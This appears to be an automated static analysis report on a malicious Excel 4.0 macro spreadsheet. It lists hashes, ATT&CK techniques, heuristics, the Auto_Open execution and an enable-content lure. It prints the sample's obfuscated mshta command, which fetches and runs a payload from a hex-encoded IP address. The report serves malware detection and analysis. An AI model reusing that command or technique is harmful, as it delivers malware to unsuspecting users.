Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 4910c824ea915d76…

MALICIOUS

Office (OLE) / .XLS

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: b36c77d46bc0c1720067493a2210c5f6 SHA-1: 0725055049777eeb7e5d73386b0ef85963591d1c SHA-256: 4910c824ea915d769418d914c34c8e32a00d258a157a7c51e961b52b1a4e46dc
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: User Execution: Malicious File

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro reconstructs the string "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html", which attempts to download and execute a payload from the specified URL. The document also contains a lure to enable content, common for macro-based malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes